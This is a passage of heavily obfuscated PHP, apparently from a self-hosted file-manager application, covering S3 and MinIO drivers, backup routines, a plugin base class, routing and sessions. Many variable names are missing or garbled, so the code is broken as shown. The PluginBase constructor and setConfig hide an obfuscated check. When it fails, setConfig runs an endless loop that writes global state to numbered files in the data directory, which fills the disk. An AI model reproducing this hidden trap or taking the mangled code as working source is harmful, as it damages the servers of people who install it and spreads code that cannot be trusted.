return !1; } $ = $ ? $ : _get($ԡ, $ݨˌ[216]); $ = $ ? $ : _get($ԡ, $ݨˌ[208], $ݨˌ[12]); return $; } public function uploadFormData($, $ = 3600) { $͐ =& $_SERVER[]; $ = $this->pathFather($); $ = $this->client->getHttpUploadPostParams($this->bucket, $, $͐[191], $); return array_merge((array) $, array($͐[174] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $̆ = gmdate($[217]); $ۭ۫ = array(); $󻴦 = $this->client->getUploadId($this->bucket, $, $ۭ۫); if (!$󻴦) { return !1; } return array($[218] => $󻴦, $[174] => $this->getHost() . $[8] . $this->pathEncode($), $[219] => $̆, $[95] => $); } public function multiUploadAuthData($ۅ, $ۉ = array()) { $С =& $_SERVER[]; $Ȝĕݕ = isset($ۉ[$С[219]]) ? $ۉ[$С[219]] : gmdate($С[217]); $ = isset($ۉ[$С[167]]) ? $ۉ[$С[167]] : $С[12]; $ӂ = $ۉ[$С[95]]; unset($ۉ[$С[95]]); if (isset($ۉ[$С[220]])) { $ۉ[$С[219]] = $Ȝĕݕ; return $this->listUploadParts($ӂ, $ۉ); } $ = array($С[221], $С[12], $С[118], $С[12], "\x78\x2d\141\x6d\172\55\x64\141\x74\145\x3a{$Ȝĕݕ}", $С[8] . $this->bucket . $С[8] . $this->pathEncode($ӂ) . $); if (strpos($, $С[222]) === 0) { $[0] = $С[223]; } if (isset($ۉ[$С[224]]) && $ۉ[$С[224]] == $С[225]) { $[0] = $С[225]; } $ = implode($С[226], $); $ = base64_encode(hash_hmac($С[227], $, $this->secret, !0)); $ = $С[228] . $this->accessKey . $С[4] . $; if (strpos($, $С[222]) === 0) { return array($С[229] => $, $С[219] => $Ȝĕݕ); } return $; } public function listUploadParts($Š, $ż = array()) { $ =& $_SERVER[]; $Ϗ = str_replace($[230], $[12], $ż[$[167]]); $ = $this->client->listParts($this->bucket, $Š, $Ϗ); if (!$) { return !1; } unset($ż[$[220]], $ż[$[224]]); $ż[$[95]] = $Š; $ = $this->multiUploadAuthData($Š, $ż); if (empty($)) { return !1; } return array($[229] => $, $[219] => $ż[$[219]], $[231] => $); } public function getHost() { return parent::getHost() . $_SERVER[][8] . $this->bucket; } public function size($˳) { $ = $this->objectMeta($˳); return $ ? $[$_SERVER[][80]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($Ғ) { return $this->isFile($Ғ) || $this->isFolder($Ғ); } public function isFile($ד) { return !$this->isFolder($ד) && $this->objectMeta($ד); } public function isFolder($师) { return $this->cacheMethod($_SERVER[][198], $师); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][199], $); } protected function _objectMeta($ք) { $윂Ҋ =& $_SERVER[]; $ք = rtrim($ք, $윂Ҋ[8]); try { $ٽ = $this->client->getObjectInfo($this->bucket, $ք); if (!isset($ٽ[$윂Ҋ[216]]) && isset($ٽ[$윂Ҋ[232]])) { $ٽ[$윂Ҋ[216]] = $ٽ[$윂Ҋ[232]]; } } catch (Exception $) { $ٽ = !1; } if (!$ٽ) { } return $ٽ; } protected function _isFolder($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $, null, 1); if (empty($[$[197]])) { return !1; } $٘ = $[$[197]][0][$[32]]; return stripos($٘, $ . $[8]) === 0 ? !0 : !1; if (substr($٘, -1) == $[8]) { return !0; } if (get_path_this($٘) == get_path_this($)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ꥼ) { parent::__construct($ꥼ); $this->signatureVersion($_SERVER[][211]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto b֌; D: class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ԛ =& $_SERVER[]; $ﯓ = Backup::get(); self::$io = $ﯓ[$ԛ[745]]; self::$name = $ﯓ[$ԛ[32]]; $ = new DbManage(); $ = $->dbType(); $ = array($ԛ[769] => $, $ԛ[770] => time()); Backup::set($); $ = $this->tmpFilesPath() . $ԛ[771] . self::$name . $ԛ[8]; del_dir($); mk_dir($); $ā = $ܨ = 0; $̒ = new Task($ԛ[772], $ԛ[773], 0, LNG($ԛ[774]) . $ԛ[775] . LNG($ԛ[776])); try { $ = $->db()->getTables(); } catch (Exception $) { $̒->end(); return !1; } $ = array_diff($, array($ԛ[777], $ԛ[778])); foreach ($ as $) { $ā += $->model($)->count(); } $̒->task[$ԛ[779]] = $ā; $GLOBALS[$ԛ[780]] = self::$name; foreach ($ as $) { $㍎Ӗ = $ . $ . $ԛ[781]; $ڮ = null; if ($ == $ԛ[782] && (!isset($ﯓ[$ԛ[748]]) || $ﯓ[$ԛ[748]] == $ԛ[190])) { $ڮ = self::$io; } $ܨ += $->sqlFromDb($, $㍎Ӗ, $̒, $ڮ); } unset($GLOBALS[$ԛ[780]]); $̒->end(); if ($ܨ > $ā) { $ā = $ܨ; } $ = array($ԛ[769] => $, $ԛ[766] => 1, $ԛ[783] => $ā, $ԛ[784] => $ܨ, $ԛ[785] => time()); Backup::set($); if ($ā - $ܨ > 0) { $܅ַ = $ԛ[786]; if (stristr(I18n::getType(), $ԛ[787])) { $܅ַ = $ԛ[788]; } write_log(array($܅ַ, $), $ԛ[773]); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[90]][$[789]]) { $ = $GLOBALS[$[6]][$[90]][$[789]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[790])) { $ = TEMP_FILES; } } return $; } } class BackupDbFile { public function __construct() { } public function index() { $߹ =& $_SERVER[]; $Р = Backup::get(); $ = $Р[$߹[32]]; $؄ = $this->tmpFilesPath() . "\x62\x61\143\153\x75\160\137{$}\x2f"; $Ν¼ = $this->backupPath($Р); if (!($Ν¼ = IO::mkdir($Ν¼))) { return !1; } $ޒ = IO::listPath($؄); $ꍀ = isset($ޒ[$߹[76]]) ? $ޒ[$߹[76]] : array(); $û = array_sum(array_column($ꍀ, $߹[80])); if (!$û) { return !1; } $̑ = array($߹[791] => $û, $߹[792] => time()); Backup::set($̑); $ = new TaskFileTransfer($߹[793], $߹[773], count($ꍀ), LNG($߹[774]) . $߹[460] . LNG($߹[776]) . $߹[794]); $->task[$߹[756]] = $û; foreach ($ޒ[$߹[76]] as $廞) { $ּ = IO::move($廞[$߹[78]], $Ν¼); if (!$ּ) { $->end(); $ = IO::getLastError($߹[795] . $廞[$߹[78]] . $߹[796] . $Ν¼ . $߹[536]); write_log($, $߹[773]); return !1; } } $ʘ = new DbManage(); $; = $ʘ->getSqlFile(); if (!$;[$߹[797]] || !$;[$߹[13]]) { return !1; } IO::move($;[$߹[797]], $Ν¼); IO::move($;[$߹[13]], $Ν¼); $->end(); $̑ = array($߹[798] => $û, $߹[799] => time()); Backup::set($̑); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ҏ = $[$[32]]; $׋ = Model($[763])->get($[764]); $ = substr(md5($[765] . $׋ . $ҏ), 0, 8); return "\x7b\x69\157\x3a{$[$[745]]}\x7d\57\144\141\x74\x61\x62\141\163\x65\57\142\141\x63\x6b\x75\x70\57" . $ҏ . $[11] . $; } private function tmpFilesPath() { $ =& $_SERVER[]; $ɞϬ = TEMP_FILES; if ($GLOBALS[$[6]][$[90]][$[789]]) { $ɞϬ = $GLOBALS[$[6]][$[90]][$[789]]; if (!mk_dir($ɞϬ) || !is_writable($ɞϬ) || !IO::mkfile($ɞϬ . $[790])) { $ɞϬ = TEMP_FILES; } } return $ɞϬ; } } class BackupFile { public function __construct() { } public function index() { $ל = Backup::get(); $ = $ל[$_SERVER[][288]][$_SERVER[][192]][$_SERVER[][467]]; $챜 = array($_SERVER[][468] => array($_SERVER[][800], $), $_SERVER[][801] => array($_SERVER[][326], $ל[$_SERVER[][745]])); $ = (int) Model($_SERVER[][782])->where($챜)->count($_SERVER[][467]); $ـ = (int) Model($_SERVER[][782])->where($챜)->sum($_SERVER[][80]); $ƽ = new TaskFileTransfer($_SERVER[][802], $_SERVER[][773], $, LNG($_SERVER[][774]) . $_SERVER[][775] . LNG($_SERVER[][803])); $ƽ->task[$_SERVER[][756]] = $ـ; $յ = array($_SERVER[][804] => $, $_SERVER[][805] => $ـ, $_SERVER[][806] => time()); Backup::set($յ); $Τу = !0; $ = $this->storeIds(); $ٍ = 1; $܍Ԣ = 1000; $ʳ = $ = 0; $ق = array(); $ = $ = 0; do { $ = $_SERVER[][807]; $ = Model($_SERVER[][782])->where($챜)->field($)->order($_SERVER[][808])->selectPage($܍Ԣ, $ٍ); $Σ = !empty($[$_SERVER[][364]]) ? $[$_SERVER[][364]] : array(); foreach ($Σ as $ݽ) { if (!$this->_fileExist($ݽ, $ق, $)) { $ -= 1; $ـ -= (int) $ݽ[$_SERVER[][80]]; write_log("\x66\151\154\x65\40\156\157\x74\40\145\x78\151\163\164\x2e\x66\151\x6c\x65\x49\x44\x3a{$ݽ[$_SERVER[][467]]}\x2c\x20\x70\141\164\x68\x3a{$ݽ[$_SERVER[][78]]}", $_SERVER[][809]); continue; } $ = $ݽ[$_SERVER[][78]]; $ = "\173\151\x6f\x3a{$ל[$_SERVER[][745]]}\x7d" . substr($, strlen("\x7b\x69\157\72{$ݽ[$_SERVER[][810]]}\175")); if (IO::exist($)) { $ƽ->updateFileEnd($ݽ[$_SERVER[][32]], $ݽ[$_SERVER[][80]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($, $, $_SERVER[][811])) { write_log($_SERVER[][812] . $ . $_SERVER[][796] . $ . $_SERVER[][536], $_SERVER[][773]); $Τу = !1; break; } } $ = $ݽ[$_SERVER[][467]]; $ += 1; $ʳ += $ݽ[$_SERVER[][80]]; $ += 1; $ += $ݽ[$_SERVER[][80]]; if ($ʳ >= 1024 * 1024 * 100) { $յ = array($_SERVER[][813] => $, $_SERVER[][814] => $, $_SERVER[][815] => $); Backup::set($յ); $ʳ = $ = 0; } } $ɇʆ = count($Σ); $ٍ++; } while ($ɇʆ == $܍Ԣ); $ƽ->end(); $յ = array($_SERVER[][816] => 1, $_SERVER[][496] => time(), $_SERVER[][768] => 1, $_SERVER[][813] => $, $_SERVER[][805] => $ـ, $_SERVER[][804] => $, $_SERVER[][817] => time()); if ($) { $յ[$_SERVER[][814]] = $; $յ[$_SERVER[][815]] = $; } Backup::set($յ); $this->_fileFilter($ق); return !0; } private function _fileExist($, &$߳, $梔) { $ =& $_SERVER[]; $ݡ = $[$[78]]; if (in_array($[$[467]], $߳)) { return !1; } if (!in_array($[$[810]], $梔)) { return !1; } if (IO::exist($ݡ)) { return !0; } $ = get_path_father($ݡ); if (IO::exist($)) { $߳[] = $[$[467]]; return !1; } $ϊ = array($[810] => $[$[810]], $[78] => array($[378], "{$}\x25")); $ה = Model($[782])->where($ϊ)->field($[468])->select(); $߳ = array_merge($߳, array_to_keyvalue($ה, $[12], $[467])); return !1; } private function _fileFilter($Ή) { $擶 =& $_SERVER[]; if (empty($Ή)) { return; } $ = array($擶[467] => array($擶[7], array_unique($Ή))); $ = Model($擶[818])->where($)->field($擶[403])->select(); foreach ($ as $) { Model($擶[818])->remove($[$擶[403]], !1); } } private function storeIds() { $ˣ =& $_SERVER[]; $܁ = Model($ˣ[760])->listData(); $ƒ = array(); $݄ = $GLOBALS[$ˣ[6]][$ˣ[90]][$ˣ[819]]; foreach ($܁ as $) { $Қ = strtolower($[$ˣ[96]]); if (!isset($݄[$Қ])) { continue; } $隍 = $ˣ[74] . (isset($݄[$Қ]) ? $݄[$Қ] : ucfirst($Қ)); if (!class_exists($隍)) { continue; } $ƒ[] = $[$ˣ[401]]; } return $ƒ; } } goto e樋ʑ; F爙: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[]; if ($_SERVER[$[389]] != $_SERVER[$[390]]) { $ = $[865]; $ܖà = $[391]; $ˢǠ = $_SERVER[$[392]] . $[393]; $ܛ = $ܖà($ˢǠ); $榄 = explode($[226], $ܛ); if (count($榄) < $[617]) { $ٯ = $[395]; $ٯ(); } $ = $[866]; $($_SERVER[$[867]]); $($_SERVER[$[392]] . $[868]); $䶏 = 1; while ($䶏 > 1) { $䶏 = $䶏 + 4; $ܷȃ = rawurlencode($䶏 . $[373]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1506]); $this->pluginName = str_replace($[1506], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1507] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1508]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1508]] . $this->pluginName . $[8]; $ = $config[$[1509]]; if ($ && strpos($[50] . $ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1510]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1511]); } protected function assign($Ȍ, $ = false) { if (is_array($Ȍ)) { $this->values = array_merge($this->values, $Ȍ); } else { $this->values[$Ȍ] = $; } } protected function display($飿) { extract($this->values); require $飿; } final function hookRegist($˕) { $this->modelPlugin->appRegist($this->pluginName, $˕); } final function appIcon() { $ =& $_SERVER[]; $Ȱ = $this->appPackage(); $ = $[12]; if (isset($Ȱ[$[417]])) { if (isset($Ȱ[$[417]][$[1512]])) { $ = $[1513] . $Ȱ[$[417]][$[1512]] . $[1514]; } else { if ($Ȱ[$[417]][$[1515]]) { $ = $[1516] . $Ȱ[$[417]][$[1515]] . $[1517]; } } } return $; } final function fileCanView($̈) { $ =& $_SERVER[]; if (request_url_safe($̈)) { return !0; } if ($this->isShare($̈)) { return !0; } $΍ = Session::get($[1518]); if (!$΍ || !$΍[$[1519]]) { $ɍ = $[1520] . rawurlencode(this_url()); show_tips(LNG($[1521]) . $[1522] . $ɍ . $[1523] . LNG($[1524]) . $[1525], !1); } if (!Action($[1526])->authCan($[1527])) { show_tips(LNG($[1528]) . $[1529], !1); } ActionCall($[1530], $̈); } final function isShare($ݾ٨) { $φ = KodIO::parse($ݾ٨); return $φ[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($ȑ) { if (request_url_safe($ȑ)) { return $ȑ; } if (!$this->isShare($ȑ)) { $ȑ = $this->filePath($ȑ); } return Action($_SERVER[][1160])->linkOut($ȑ); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[][1160])->link($); } final function filePath($) { $Θ =& $_SERVER[]; if ($ = $this->checkSharePath($)) { Hook::trigger($Θ[1531], $); return $; } $this->fileCanView($); if (request_url_safe($)) { $ٍ = parse_url_query($); if (isset($ٍ[$Θ[1532]]) && isset($ٍ[$Θ[208]])) { $ = Model($Θ[763])->get($Θ[764]); $ = Mcrypt::decode($ٍ[$Θ[208]], $); if ($) { $this->fileInfo = IO::infoWithChildren($); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $; } } $ = $this->_cacheHttpFile($); $this->fileInfo = IO::infoWithChildren($); } else { $this->fileInfo = IO::infoWithChildren($); if (!$this->fileInfo) { show_tips(LNG($Θ[106]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($Θ[1531], $); return $; } final function _cacheHttpFile($ـ) { $Ԍ = hash_path($ـ, !0); $this->cachePath = $this->pluginCachePath($Ԍ); if ($ = IO::fileNameExist($this->cachePath, $Ԍ)) { return KodIO::make($); } $Ù = $this->cachePath . $Ԍ; return $this->pluginCacheFileSet($Ù, file_get_contents_nossl($ـ)); } final function _tmpFileName($ٟ = array()) { $۫ =& $_SERVER[]; if (!$ٟ) { $ٟ = $this->fileInfo; } if (isset($ٟ[$۫[170]])) { return $ٟ[$۫[170]]; } if (isset($ٟ[$۫[163]][$۫[170]])) { return $ٟ[$۫[163]][$۫[170]]; } $ = IO::hashSimple($ٟ[$۫[78]]); if ($) { return $; } $䍎 = array($ٟ[$۫[32]], $ٟ[$۫[78]], $ٟ[$۫[80]]); if (isset($ٟ[$۫[521]])) { $䍎[] = $ٟ[$۫[521]]; } return md5(implode($۫[11], $䍎)); } final function checkSharePath($Ü) { $٥ =& $_SERVER[]; if (!defined($٥[474])) { define($٥[514], 0); } if (!$this->isShare($Ü)) { return !1; } $Τ = Action($٥[1160])->sharePathInfo($Ü); if (!isset($Τ[$٥[78]])) { show_json(LNG($٥[1533]), !1); } $this->fileInfo = $Τ[$٥[163]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$٥[170]]); return $Τ[$٥[78]]; } final function pluginCachePath($ = '') { $ =& $_SERVER[]; $ϩ䃓 = IO_PATH_SYSTEM_TEMP . $[1534] . $this->pluginName; if (!($ = IO::infoFull($ϩ䃓))) { return IO::mkdir($ϩ䃓 . $[8] . $); } if (empty($)) { return $[$[78]]; } if (!($䝬 = IO::fileNameExist($[$[78]], $))) { return IO::mkdir($[$[78]] . $); } return KodIO::make($䝬); } final function pluginCacheFileSet($׷, $ţ = '') { $ =& $_SERVER[]; if (!($ɤ = IO::infoFull($׷))) { return IO::mkfile($׷, $ţ, REPEAT_REPLACE); } IO::setContent($ɤ[$[78]], $ţ); return $ɤ[$[78]]; } final function pluginLocalFile($쨣 = '') { $е =& $_SERVER[]; $ֵ = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($ֵ)) { mk_dir($ֵ); } if (!$쨣) { return $ֵ; } $ = IO::info($쨣); $ؼș = $this->_tmpFileName($) . $е[10] . $[$е[167]]; if (!checkExtSafe($ؼș)) { $ؼș = $ؼș . $е[1535]; } $¦Ӡ = $ֵ . $ؼș; if (@file_exists($¦Ӡ)) { return $¦Ӡ; } return IO::copy($쨣, $ֵ, 0, $ؼș); } final function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($this->pluginPath . $[1536]); $this->parseLang($); $ۺș = json_decode_force($); if (!$ۺș) { return array(); } $э׾ = Hook::trigger($[1537], $ۺș); if ($э׾ && is_array($э׾)) { $ۺș = $э׾; } $this->packageData = $ۺș; return $ۺș; } public function packageInfoGet($ĥ) { $ = $this->appPackage(); return array_get_value($, $ĥ); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1538]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1539]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1540]); } public function echoJsAssign($ܫ, $) { $this->echoJsAssignArr[$ܫ] = $; } private function parseFile($) { $ =& $_SERVER[]; $ƍ = file_get_contents_nossl($); $ = array($[1541], $[1542], $[1543], $[1544], $[1545], $[1546], $[1547]); $Ũ߃ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[90]][$[1548]]); foreach ($this->echoJsAssignArr as $ԃ => $Ǻ) { $[] = $[1549] . $ԃ . $[1550]; $Ũ߃[] = is_array($Ǻ) || is_object($Ǻ) ? rawurlencode(json_encode($Ǻ)) : $Ǻ; } if (strstr($ƍ, $[1551])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $ƍ = str_replace($[1551], $, $ƍ); } if (strstr($ƍ, $[1552])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $ƍ = str_replace($[1552], $, $ƍ); } $ƍ = str_replace($, $Ũ߃, $ƍ); return $ƍ; } private function parseLang(&$) { $©ޡ =& $_SERVER[]; $ވ = $©ޡ[1553]; if (!strstr($, $ވ)) { return; } preg_match_all($©ޡ[1554], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = array(); $ = array(); foreach ($[0] as $ț) { $ = substr($ț, strlen($ވ), -4); $ = LNG($); $[] = $ț; $[] = str_replace(array($©ޡ[226], $©ޡ[1065], $©ޡ[337], $©ޡ[117]), array($©ޡ[53], $©ޡ[53], $©ޡ[12], $©ޡ[1555]), $); } $ = str_replace($, $, $); } private function parseConfig(&$) { $ē =& $_SERVER[]; $τ = $ē[1556]; if (!strstr($, $τ)) { return; } preg_match_all($ē[1557], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->getConfig(); $צ = array(); $ = array(); foreach ($[0] as $פ) { $Ҩ = substr($פ, strlen($τ), -2); $צ[] = $פ; $[] = _get($, $Ҩ); } $ = str_replace($צ, $, $); } private function parsePackage(&$—) { $ =& $_SERVER[]; $ = $[1558]; if (!strstr($—, $)) { return; } preg_match_all($[1559], $—, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->appPackage(); $ = array(); $ = array(); foreach ($[0] as $Î) { $쮥 = substr($Î, strlen($), -2); $[] = $Î; $[] = _get($, $쮥); } $— = str_replace($, $, $—); } final function echoFile($, $å = false) { $ߞ =& $_SERVER[]; $ = $this->pluginPath . $; if (ACT == $ߞ[1560]) { echo $ߞ[1561] . $this->pluginName . $ߞ[8] . $ . $ߞ[1562]; if (!file_exists($)) { echo $ߞ[1563]; return; } } $ = $this->parseFile($); $this->parseLang($); $this->parseConfig($); $this->parsePackage($); if (is_array($å)) { $ = str_replace(array_keys($å), array_values($å), $); } echo $ߞ[226] . $; } final function initLang() { $ =& $_SERVER[]; $؂ = $[1564]; $ = $this->pluginPath . $[1565]; $ĉ = I18n::getType(); $Ղ = array(); if (file_exists($ . $ĉ . $[831])) { $Ղ = (include $ . $ĉ . $[831]); } else { if ($ĉ == $[1566] && !file_exists($ . $ĉ . $[831]) && file_exists($ . $[1567])) { $Ղ = (include $ . $[1567]); } else { if (file_exists($ . $؂ . $[831])) { $Ղ = (include $ . $؂ . $[831]); } } } if (!is_array($Ղ)) { return array(); } if (@count($Ղ) > 0) { I18n::set($Ղ); } return $Ղ; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($ᴨ) { $ =& $_SERVER[]; $ = $_SERVER[$[397]]; $Қ = $[1568]; if ($_SERVER[$[389]] != $Қ($)) { $ = $[865]; $騡 = $[391]; $· = $_SERVER[$[392]] . $[393]; $ = $騡($·); $Ųؽ = explode($[226], $); if (count($Ųؽ) < $[617]) { $ŕ = $[395]; $ŕ(); } $ = $[866]; $($_SERVER[$[867]]); $ = $[865]; $(); $ = $[1569]; $ֺ롇 = json_encode($GLOBALS[$[1570]]); $Ŕ = 1; for ($ű = $Ŕ; $ű > 0; $ű++) { $(DATA_PATH . $ű, $ֺ롇); } } return $this->modelPlugin->setConfig($this->pluginName, $ᴨ); } public function onSetConfig($) { } public function onGetConfig($) { } public function onChangeStatus($琂) { } public function onUninstall() { } public function onInstall() { } public function authCheck($滸 = "\x70\x6c\x75\147\151\x6e\101\165\164\150") { $ =& $_SERVER[]; if (!defined($[474])) { return !1; } if (_get($GLOBALS, $[505])) { return !0; } $ڎ = $this->getConfig(); if (!$ڎ[$滸]) { return !1; } return ActionCall($[1571], $ڎ[$滸]); } public function url($´, $ = '', $哫 = true) { $ =& $_SERVER[]; $ơ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $LJ = $this->packageVersion(); $ߕ = $ . $[460] . $LJ; if (substr($´, 0, 4) == $[145] || substr($´, 0, 2) == $[1352]) { $ = $´ . $[1572] . $ߕ; } else { if ($ == $[12]) { $ = $this->pluginHost . $´ . $[1572] . $ߕ; } else { if ($ === $[79]) { $ = $this->pluginHost . $´; } else { if ($ == $[1573]) { $ = STATIC_PATH . $´ . $[1572] . $; } else { if ($ == $[1574]) { $ = APP_HOST . $[1575] . $´ . $[1572] . $; } else { if (isset($ơ[$])) { $ = $ơ[$] . $´ . $[1572] . $ߕ; } } } } } } if (!$哫) { return $; } echo $; } public function link($Ãԑȋ = false, $ = '') { $❦ =& $_SERVER[]; if (!$Ãԑȋ) { $this->link($❦[1576], $❦[1574]); $this->link($❦[1577], $❦[1573]); $this->link($❦[1578], $❦[1573]); $this->link($❦[1579], $❦[1573]); $this->link($❦[1580], $❦[1573]); return; } $ = $this->url($Ãԑȋ, $, !1); if (substr($Ãԑȋ, -3) == $❦[1581]) { echo $❦[1582] . $ . $❦[1583] . $❦[226]; } else { if (substr($Ãԑȋ, -4) == $❦[1584]) { echo $❦[1585] . $ . $❦[1586] . $❦[226]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\x61\156\171" => "\133\x5e\x2f\135\x2b", "\x3a\156\x75\x6d" => "\x5b\x30\x2d\71\x5d\x2b", "\72\141\x6c\154" => "\x2e\52"); public static $errorCallback; public static function __callstatic($М, $ރ) { $ =& $_SERVER[]; if ($М == $[1587]) { $ = array_map($[1588], $ރ[0]); $Ģ = strpos($ރ[1], $[8]) === 0 ? $ރ[1] : $[8] . $ރ[1]; $ = $ރ[2]; } else { $ = null; $Ģ = strpos($ރ[0], $[8]) === 0 ? $ރ[0] : $[8] . $ރ[0]; $ = $ރ[1]; } array_push(self::$maps, $); array_push(self::$routes, $Ģ); array_push(self::$methods, strtoupper($М)); array_push(self::$callbacks, $); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($Å = true) { self::$halts = $Å; } public static function dispatch() { $ =& $_SERVER[]; $ = parse_url($_SERVER[$[1589]], PHP_URL_PATH); $ = $_SERVER[$[156]]; $х = array_keys(static::$patterns); $ = array_values(static::$patterns); $® = !1; self::$routes = preg_replace($[1254], $[8], self::$routes); if (in_array($, self::$routes)) { $Ӡ = array_keys(self::$routes, $); foreach ($Ӡ as $Ќ) { if (self::$methods[$Ќ] == $ || self::$methods[$Ќ] == $[1590] || in_array($, self::$maps[$Ќ])) { $® = !0; if (!is_object(self::$callbacks[$Ќ])) { $ܰ = explode($[8], self::$callbacks[$Ќ]); $ = end($ܰ); $IJ = explode($[1591], $); $Ø = new $IJ[0](); $Ø->{$IJ[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$Ќ]); if (self::$halts) { return; } } } } } else { $ݳ = 0; foreach (self::$routes as $Ќ) { if (strpos($Ќ, $[4]) !== !1) { $Ќ = str_replace($х, $, $Ќ); } if (preg_match($[1592] . $Ќ . $[1593], $, $)) { if (self::$methods[$ݳ] == $ || self::$methods[$ݳ] == $[1590] || !empty(self::$maps[$ݳ]) && in_array($, self::$maps[$ݳ])) { $® = !0; array_shift($); if (!is_object(self::$callbacks[$ݳ])) { $ܰ = explode($[8], self::$callbacks[$ݳ]); $ = end($ܰ); $IJ = explode($[1591], $); $Ø = new $IJ[0](); if (!method_exists($Ø, $IJ[1])) { echo $[1594]; } else { call_user_func_array(array($Ø, $IJ[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$ݳ], $); if (self::$halts) { return; } } } } $ݳ++; } } if ($® == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $Մ =& $_SERVER[]; header($_SERVER[$Մ[1595]] . $Մ[1596]); echo $Մ[1597]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$[1589]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[]; static $̷ = false; if ($̷) { return $̷; } $˦ = $GLOBALS[$[6]][$[344]]; self::$sessionTime = $˦[$[1598]]; $Ǘ = isset($GLOBALS[$[1599]]) ? $GLOBALS[$[1599]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($Ǘ)) { self::$sessionSign = Cookie::get($Ǘ); } else { self::$sessionSign = guid(); } } Cookie::setSafe($Ǘ, self::$sessionSign, self::$sessionTime); $儑 = $˦[$[1600]]; $է = $˦[$儑]; $ = $˦[$[821]]; switch ($儑) { case $[21]: self::$handle = Model($[822]); break; case $[823]: self::$handle = new CacheRedis($է, $); break; case $[824]: self::$handle = new CacheMemcached($է, $); break; case $[192]: $է[$[78]] = $է[$[78]] . $[1601]; self::$handle = new CacheFile($է, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $̷ = new self(); return $̷; } public static function getBySign($ʀ) { CacheLock::lock($ʀ); $Ο = self::$handle->get($ʀ); CacheLock::unlock($ʀ); $Ο = unserialize($Ο); return is_array($Ο) ? $Ο : array(); } public static function setBySign($, $𺀷) { CacheLock::lock($); self::$handle->set($, serialize($𺀷), self::$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { $ && (self::$sessionSign = $); self::init(); return self::$sessionSign; } public static function set($, $ = false) { self::init(); if (is_array($)) { foreach ($ as $џ => $򏛪) { array_set_value(self::$data, $џ, $򏛪); } } else { array_set_value(self::$data, $, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($̏ = false) { self::init(); if (!$̏) { return self::$data; } return array_get_value(self::$data, $̏); } public static function remove($ݓ) { self::init(); unset(self::$data[$ݓ]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][826])) { self::$handle->clearTimeout(); } } } goto eӖ; b߉Í: class SessionModel extends ModelBase { protected $tableName = 